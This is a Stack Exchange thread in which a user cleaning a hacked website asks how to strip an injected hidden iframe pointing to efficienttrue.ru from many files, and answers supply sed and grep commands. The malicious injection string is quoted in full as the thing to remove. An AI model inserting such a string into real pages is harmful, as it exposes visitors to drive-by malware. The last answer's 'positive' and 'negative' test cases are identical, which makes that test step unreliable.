Unix & Linux Stack Exchange is a question and answer site for users of Linux, FreeBSD and other Un*x-like operating systems. Join them; it only takes a minute:

Sign up
Here's how it works:
  1. Anybody can ask a question
  2. Anybody can answer
  3. The best answers are voted up and rise to the top

I'm having quite a bit of difficulty with a complex string. A friend's site was hacked and has since been locked down but I'm helping to clean up the mess leftover and what I need to do is the following:

Go recursively into every directory and if there is the following string at the end of the file, delete the string.

;document.write('<iframe src="http://efficienttrue.ru/upwherehandpainted.cgi?8" scrolling="auto" frameborder="no" align="center" height="13" width="13"></iframe>');

As you can see the string contains single and double quotes, and multiple other special characters. I've tried putting an \ escape before every single special character but that doesn't seem to work. I tried this:

grep -rl efficienttrue.ru . | xargs sed -i "s/\;document\.write\(\'\<iframe\ src\=\"http\:\/\/efficienttrue\.ru\/upwherehandpainted\.cgi\?8\"\ scrolling\=\"auto\"\ frameborder\=\"no\"\ align\=\"center\"\ height\=\"13\"\ width\=\"13\"\>\<\/iframe\>\'\)\;/\/g"

but I get the following error:

sed: -e expression #1, char 201: unterminated `s' command
share|improve this question
Restore from backup. It's the only way to really be sure. – jordanm Nov 13 '12 at 18:06
It's good to do research into how the compromise occurred and what was done, but the only way to know you've actually reverted all unknown and unwanted changes is to restore from a safe external backup, as jordanm has said. – jw013 Nov 13 '12 at 18:17

It sounds like you're looking for something like this:

sed '${s/document\.write([^)]*);//}'

However I would really recommend against this sort of procedure for restoration from a compromise.

share|improve this answer
Trust me, if this was my site I would absolutely restore from backup but this isn't and, of course, they don't seem to have a backup at all. Unfortunately, I think this just looks for the document.write line, right? 99% of the files which include this string are javascript and I don't want to remove that if it's necessary in another place on the same file, you know? Or am I misreading this? – Ian Swope Nov 13 '12 at 18:41

Yes restoring from backup is better. But as to sed:

sed -i '.bak' -e '$ {\!^;document\.write('\''<iframe src="http://efficienttrue\.ru/upwherehandpainted\.cgi?8" scrolling="auto" frameborder="no" align="center" height="13" width="13"></iframe>'\'');$! d; }' FILENAME

I tested and it works properly, regardless of whether FILENAME has a trailing \n. However it does expect that the line to be deleted always is the last line (that's the point of the $ { ... }.

share|improve this answer
Is there something I'm missing in this one? Don't I need to run this through grep or find to cycle through the directories to find the files in the first place? – Ian Swope Nov 13 '12 at 20:07
Yeah, I was just providing the sed part of it. You need to wrap that in something that supplies the FILENAMEs. Also note that as written, it saves origfile as origfile.bak, and writes the new version to origfile. If origfile.bak already exists, I think it gets overwritten. The manpage doesn't say. So you should check for that, or use -i '', but the manpage points out some dangers with the latter. -i is not available for all sed implementations; without it, your wrapping script would have to handle renaming the output file itself. – dubiousjim Nov 13 '12 at 20:52

Yes, a backup is better. However, if you insist on replacement and want to avoid hustle with escapes, here is a generic solution.

  1. Save the offending string into a file, and verify that no extra characters like UTF BOM prefix or line endings were appended

    xxd spec-chars.sample
  2. Convert the string into an escaped byte sequence

    od -t x1 -v -A n spec-chars.sample | sed s/\ /\\\\x/g | tr -d \\n && echo
  3. Create a couple test cases

    cat spec-chars-positive 
      ;document.write('<iframe src="http://efficienttrue.ru/upwherehandpainted.cgi?8" scrolling="auto" frameborder="no" align="center" height="13" width="13"></iframe>');
    cat spec-chars-negative
      ;document.write('<iframe src="http://efficienttrue.ru/upwherehandpainted.cgi?8" scrolling="auto" frameborder="no" align="center" height="13" width="13"></iframe>');
  4. Verify that the code works as expected

    grep -l efficienttrue spec-chars-* | xargs sed \$s/`od -t x1 -v -A n spec-chars.sample | sed s/\ /\\\\x/g | tr -d \\n`//
  5. Perform an actual replacement

    grep -rl efficienttrue.ru . | xargs sed -ibak --follow-symlinks \$s/`od -t x1 -v -A n spec-chars.sample | sed s/\ /\\\\x/g | tr -d \\n`//
share|improve this answer

Your Answer


By posting your answer, you agree to the privacy policy and terms of service.

Not the answer you're looking for? Browse other questions tagged or ask your own question.